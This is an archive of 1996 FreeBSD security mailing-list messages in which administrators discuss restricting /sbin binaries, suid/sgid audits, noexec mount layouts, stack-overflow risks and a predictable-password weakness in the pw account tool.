Other binaries can't do anything that the user can't do. Removing the execute bit from non-suid/sgid binaries won't add any to security- a malicious user can create any non-suid/sgid file him/her self. Even if you remove gcc, the user could still FTP the files from ftp.cdrom.com. Removing FTP won't help either- clever use of redirection can allow a user to transfer whatever files they want over their own tty. Definately _do_ go through the list of suid/sgid files (use find) and remove the s bit from anything that users shouldn't need. Be wary of world-writable files, directories, and devices. It's also a good idea to disable anything in /etc/inetd.conf that you don't need. Principle of least privileges. From owner-freebsd-security Sat Dec 14 12:28:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA08269 for security-outgoing; Sat, 14 Dec 1996 12:28:43 -0800 (PST) Received: from redmare.com (brian@lin-pm4-027.inetnebr.com [206.222.211.27]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA08251 for ; Sat, 14 Dec 1996 12:28:37 -0800 (PST) Received: from localhost (brian@localhost) by redmare.com (8.7.4/8.7.3) with SMTP id OAA02639; Sat, 14 Dec 1996 14:24:16 -0600 (CST) X-Authentication-Warning: redmare.com: brian owned process doing -bs Date: Sat, 14 Dec 1996 14:24:15 -0600 (CST) From: Brian Mitchell X-Sender: brian@redmare.com To: Christian Hochhold cc: freebsd-security@FreeBSD.ORG Subject: Re: questions... In-Reply-To: <199612141931.PAA05834@eternal.dusk.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 14 Dec 1996, Christian Hochhold wrote: > Hello, > > Could someone answer a quick question for me, > it would be most appreciated. > > The /sbin directory's ( as an example ) files seem to > be executable by anyone on the system. > I have changed a few of the files ( ie. dmesg ) > to be executable by root as well as > the bin group only. > > What files should I be most concerned about that > users can execute ( such as ifconfig ) but really > have no business to? > > What about directories such as / ? > Unless they are privledged programs, why bother changing the permissions? If the user really wants to run that non-privledged bin, he can upload a copy of it himself, chmod it and execute it. sgid or suid binaries, on the other hand, are a entirely different matter. Brian Mitchell / brian@saturn.net From owner-freebsd-security Sat Dec 14 12:44:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA10571 for security-outgoing; Sat, 14 Dec 1996 12:44:43 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id MAA10552 for ; Sat, 14 Dec 1996 12:44:39 -0800 (PST) From: proff@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id MAA00304 for ; Sat, 14 Dec 1996 12:45:07 -0800 (PST) Received: (qmail 973 invoked by uid 110); 14 Dec 1996 20:44:16 -0000 Message-ID: <19961214204416.972.qmail@suburbia.net> Subject: Re: questions... In-Reply-To: from Steve Reid at "Dec 14, 96 12:18:21 pm" To: steve@edmweb.com (Steve Reid) Date: Sun, 15 Dec 1996 07:44:16 +1100 (EST) Cc: hackers@freebsd.org, security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Only worry about files that are suid or sgid. Other binaries can't do > anything that the user can't do. Removing the execute bit from > non-suid/sgid binaries won't add any to security- a malicious user can > create any non-suid/sgid file him/her self. Even if you remove gcc, the > user could still FTP the files from ftp.cdrom.com. Removing FTP won't help > either- clever use of redirection can allow a user to transfer whatever > files they want over their own tty. /dev/wd0a on / (asynchronous, local, noatime) procfs on /proc (local, nodev, noexec, nosuid) mfs:24 on /tmp (asynchronous, local, noatime, nodev, noexec, nosuid) /dev/wd0s1f on /usr (asynchronous, local, noatime, nodev) /dev/wd0s1e on /var (asynchronous, local, noatime, nodev, noexec, nosuid) /dev/wd2s1e on /usr/local/var (asynchronous, local, nodev, noexec, nosuid) /dev/wd3s1e on /home (asynchronous, local, nodev, noexec, nosuid) /dev/sd0s1e on /data (asynchronous, local, nodev, noexec, nosuid) /data/ftp/pub on /usr/local/ftp/pub (local, nodev, noexec, nosuid) /dev/matcd0a on /usr/local/ftp/mnt/cd0 (local, nodev, noexec, nosuid, read-only) ../sbin-sec is root, mode 700 there are no writable directories on / or /usr Note that you will also need to modify ld.so to prevent dynamic binding using env variables. Unfortunately this isn't a total cure, because there are 1001 stack overflows in NON-suid programs. total 10676 -r-xr-xr-x 1 bin bin 57344 Dec 12 17:21 adjkerntz -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 badsect lrwxr-xr-x 1 bin bin 21 Dec 12 17:22 ccdconfig -> ../sbin-sec/ccdconfig -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 clri -r-xr-xr-x 1 bin bin 36864 Dec 12 17:21 comcontrol -r-xr-xr-x 1 bin bin 110592 Dec 12 17:21 disklabel lrwxr-xr-x 1 bin bin 17 Dec 12 17:22 dmesg -> ../sbin-sec/dmesg -r-xr-xr-x 1 bin bin 90112 Dec 12 17:21 dset lrwxr-xr-x 1 bin bin 16 Dec 12 17:22 dump -> ../sbin-sec/dump -r-xr-xr-x 1 bin bin 61440 Dec 12 17:21 dumpfs -r-xr-xr-x 1 bin bin 57344 Dec 12 17:21 dumplfs -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 dumpon -r-xr-xr-x 4 bin bin 167936 Dec 12 17:22 fastboot -r-xr-xr-x 4 bin bin 167936 Dec 12 17:22 fasthalt -r-xr-xr-x 1 bin bin 53248 Dec 12 17:21 fdisk -r-xr-xr-x 1 bin bin 180224 Dec 12 17:21 fsck -r-xr-xr-x 1 bin bin 270336 Dec 12 17:21 fsdb -r-xr-xr-x 1 bin bin 57344 Dec 12 17:21 ft -r-xr-xr-x 4 bin bin 167936 Dec 12 17:22 halt -r-xr-x--- 1 bin staff 131072 Dec 12 17:21 ifconfig -r-x------ 1 bin bin 184320 Nov 23 17:53 init -r-xr-xr-x 1 bin bin 122880 Dec 12 17:21 ipfw -r-xr-xr-x 1 bin bin 45056 Dec 12 17:21 ldconfig -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 md5 -r-xr-xr-x 1 bin bin 36864 Dec 12 17:21 mknod -r-xr-xr-x 1 bin bin 45056 Dec 12 17:21 modload -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 modunload -r-xr-xr-x 1 bin bin 69632 Dec 12 17:21 mount -r-xr-xr-x 1 bin bin 49152 Dec 12 17:21 mount_cd9660 -r-xr-xr-x 5 bin bin 49152 Dec 12 17:21 mount_devfs -r-xr-xr-x 1 bin bin 49152 Dec 12 17:21 mount_ext2fs -r-xr-xr-x 5 bin bin 49152 Dec 12 17:21 mount_fdesc -r-xr-xr-x 5 bin bin 49152 Dec 12 17:21 mount_kernfs -r-xr-xr-x 1 bin bin 49152 Dec 12 17:21 mount_lfs -r-xr-xr-x 2 bin bin 122880 Dec 12 17:21 mount_mfs lrwxr-xr-x 1 bin bin 23 Dec 12 17:22 mount_msdos -> ../sbin-sec/mount_msdos -r-xr-xr-x 1 bin bin 122880 Dec 12 17:21 mount_nfs -r-xr-xr-x 1 bin bin 53248 Dec 12 17:21 mount_null -r-xr-xr-x 1 bin bin 204800 Dec 12 17:21 mount_portal -r-xr-xr-x 5 bin bin 49152 Dec 12 17:21 mount_procfs -r-xr-xr-x 5 bin bin 49152 Dec 12 17:21 mount_std -r-xr-xr-x 1 bin bin 57344 Dec 12 17:21 mount_umap -r-xr-xr-x 1 bin bin 53248 Dec 12 17:21 mount_union -r-xr-xr-x 1 bin bin 200704 Dec 12 17:21 mountd -r-xr-xr-x 2 bin bin 122880 Dec 12 17:21 newfs -r-xr-xr-x 1 bin bin 98304 Dec 12 17:21 newlfs -r-xr-xr-x 1 bin bin 40960 Dec 12 17:21 nextboot -r-xr-xr-x 1 bin bin 69632 Dec 12 17:21 nfsd -r-xr-xr-x 1 bin bin 61440 Dec 12 17:21 nfsiod -r-xr-xr-x 1 bin bin 1907 Dec 12 17:21 nologin -r-sr-xr-x 1 root bin 122880 Dec 12 17:21 ping -r-xr-xr-x 1 bin bin 139264 Dec 12 17:21 quotacheck -r-xr-xr-x 1 root bin 118784 Dec 12 17:21 rdisc lrwxr-xr-x 1 bin bin 17 Dec 12 17:22 rdump -> ../sbin-sec/rdump -r-xr-xr-x 4 bin bin 167936 Dec 12 17:22 reboot lrwxr-xr-x 1 bin bin 19 Dec 12 17:22 restore -> ../sbin-sec/restore lrwxr-xr-x 1 bin bin 17 Dec 12 17:22 route -> ../sbin-sec/route -r-x------ 1 root bin 180224 Dec 12 17:22 routed lrwxr-xr-x 1 bin bin 20 Dec 12 17:22 rrestore -> ../sbin-sec/rrestore -r-x------ 1 root bin 122880 Dec 12 17:22 rtquery -r-xr-xr-x 1 bin bin 69632 Dec 12 17:22 savecore -r-xr-xr-x 1 bin bin 65536 Dec 12 17:22 scsi -r-xr-xr-x 1 bin bin 3306 Dec 12 17:22 scsiformat lrwxr-xr-x 1 bin bin 20 Dec 12 17:22 shutdown -> ../sbin-sec/shutdown -r-xr-xr-x 1 bin bin 61440 Dec 12 17:22 slattach lrwxr-xr-x 1 bin bin 21 Dec 12 17:22 sliplogin -> ../sbin-sec/sliplogin -r-xr-xr-x 1 bin bin 69632 Dec 12 17:22 startslip -r-xr-xr-x 1 bin bin 49152 Dec 12 17:22 swapon -r-xr-xr-x 1 bin bin 45056 Dec 12 17:22 tunefs -r-xr-xr-x 1 bin bin 122880 Dec 12 17:22 umount -Julian A. (proff@suburbia.net) From owner-freebsd-security Sat Dec 14 13:30:25 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA14875 for security-outgoing; Sat, 14 Dec 1996 13:30:25 -0800 (PST) Received: from destiny.erols.com (someone@destiny.erols.com [207.96.73.65]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id NAA14864; Sat, 14 Dec 1996 13:30:21 -0800 (PST) Received: from localhost (jdowdal@localhost) by destiny.erols.com (8.8.4/8.6.12) with SMTP id QAA20784; Sat, 14 Dec 1996 16:28:37 -0500 (EST) Date: Sat, 14 Dec 1996 16:28:36 -0500 (EST) From: John Dowdal To: proff@suburbia.net cc: Steve Reid , hackers@freebsd.org, security@freebsd.org Subject: Re: questions... In-Reply-To: <19961214204416.972.qmail@suburbia.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 15 Dec 1996 proff@suburbia.net wrote: > Unfortunately this isn't a total cure, because there are 1001 stack overflows > in NON-suid programs. So what. The programs will just core dump if they stack overflow, else just not work right. Since they are not SUID and not run as root [inetd, ...], they won't be able to get root if they blow up. John From owner-freebsd-security Sat Dec 14 13:46:05 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id NAA16359 for security-outgoing; Sat, 14 Dec 1996 13:46:05 -0800 (PST) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id NAA16338; Sat, 14 Dec 1996 13:46:01 -0800 (PST) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA22244; Sat, 14 Dec 1996 14:23:11 -0700 From: Terry Lambert Message-Id: <199612142123.OAA22244@phaeton.artisoft.com> Subject: Re: vulnerability in new pw suite To: proff@iq.org (Julian Assange) Date: Sat, 14 Dec 1996 14:23:11 -0700 (MST) Cc: security@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <199612140135.MAA04639@profane.iq.org> from "Julian Assange" at Dec 14, 96 12:35:25 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The FreeBSD account administration pw suite is able to produce > "random" passwords for new accounts. Due to the simplicity of the > password generation algorithm involved, the passwords are easily > predictable amid a particular range of possibilities. This range > may be very narrow, depending on what sort of information is > available to the attacker. [ ... vunerability description elided ... ] I've noticed a similar restriction on the search space is caused by enforcing password length and use of particular values (digits, control characters, and capitalization) Once we add in "non-pronouncible" and "not in dictionary" and so on, I think that eventually, in the interests of "security", users will be forced to choose from a list of 10 or so "sufficiently safe" passwords. Of course, once that happens, we'll just publish the list... any restriction on "allowed values" is an implicit restriction of the search space a cracker is required to search, and makes cracking just that much easier. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Sat Dec 14 14:02:21 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA18410 for security-outgoing; Sat, 14 Dec 1996 14:02:21 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA18399 for ; Sat, 14 Dec 1996 14:02:18 -0800 (PST) From: proff@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id OAA01323 for ; Sat, 14 Dec 1996 14:02:41 -0800 (PST) Received: (qmail 6372 invoked by uid 110); 14 Dec 1996 22:01:41 -0000 Message-ID: <19961214220141.6371.qmail@suburbia.net> Subject: Re: questions... In-Reply-To: from John Dowdal at "Dec 14, 96 04:28:36 pm" To: jdowdal@destiny.erols.com (John Dowdal) Date: Sun, 15 Dec 1996 09:01:41 +1100 (EST) Cc: steve@edmweb.com, hackers@freebsd.org, security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Sun, 15 Dec 1996 proff@suburbia.net wrote: > > > Unfortunately this isn't a total cure, because there are 1001 stack overflows > > in NON-suid programs. > > So what. The programs will just core dump if they stack overflow, else > just not work right. Since they are not SUID and not run as root [inetd, > ...], they won't be able to get root if they blow up. > > John > > You miss the point. There are kernel level bugs, and bugs in suid programs often requires executable trigger code. The design goal behind the file system layout I presented is to prevent execution of any attacker designed code. This is not possible due to stack over-write conditions in NON suid programs. Decent mmu's, such is found on alpha cpu's have real PROT_EXEC memory protections, which is turned off for the stack segment. It is still possible to exploit stack over-flows as the pc is usurpable. Finding existing code to point it to that will achieve your ends however is very difficult. Which reminds me. Several mmu changes were introduced with the P6 including 2Mb pages and 36 bit addressing modes. Has anyone verified that real exec protections didn't also make their way in? I don't know much about P5/P6 hardware break-point/watch support, but I can't help wondering if it will take ranges, rather than just fixed locations and for exec instead of r/w. Can someone who knows more about the P5/6 enhancements than myself comment? Note that sunos4.1.x is not vulnerable to noexec subversion by LD_PRELOADing, as mmap's of PROT_EXEC fail on noexec file systems. I haven't examined FreeBSD's vm system in this regard, but clearly the sun behaviour is correct, as is refusing mprotect() changes to fd's on noexec vnodes. btw (dyson?) are union mounts working correctly yet? Seems like the ideal solution for ro file systems with site modifications. -Julian A. (proff@suburbia.net) From owner-freebsd-security Sat Dec 14 23:14:58 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA27857 for security-outgoing; Sat, 14 Dec 1996 23:14:58 -0800 (PST) Received: from profane.iq.org (profane.iq.org [203.4.184.217]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA27833; Sat, 14 Dec 1996 23:14:45 -0800 (PST) Received: (from proff@localhost) by profane.iq.org (8.8.4/8.8.2) id SAA05070; Sat, 14 Dec 1996 18:24:38 +1100 (EST) From: Julian Assange Message-Id: <199612140724.SAA05070@profane.iq.org> Subject: Re: vulnerability in new pw suite In-Reply-To: from "[______ ______, Andrey Chernov]" at "Dec 14, 96 04:51:08 pm" To: ache@nagual.ru (=?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7=2C_Andrey_Chernov?=) Date: Sat, 14 Dec 1996 18:24:38 +1100 (EST) Cc: security@freebsd.org, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > On Sat, 14 Dec 1996, Julian Assange wrote: > > > The FreeBSD account administration pw suite is able to produce > > "random" passwords for new accounts. Due to the simplicity of the > > password generation algorithm involved, the passwords are easily > > predictable amid a particular range of possibilities. This range > > may be very narrow, depending on what sort of information is > > available to the attacker. > > I agree on this subj. but I wonder about method you use, it > is unnecessary complex, reading /dev/urandom will be enough > without MD5 hashing. /dev/urandom not optional device, so > if it isn't exists or not give enough bytes it must be > detected as program failure and not covered by MD5 workaround. > -- > Andrey A. Chernov I thought it was optional, a check of this shows you are right. Still, it is possible that David is using pw(8) on more platforms than FreeBSD. As for the password length issue, known password length is only an issue with dictionary passwords, as length l-1 is always many times easier to check than length l, so any such checking algorithm always starts at the smallest length and works up. The worst case (security wise) senario only gains the attacker 1/n comparisons, such that n is the number of potential characters selectable for any given character position. i.e 1/n < 1/26 -Julian A. (proff@suburbia.net)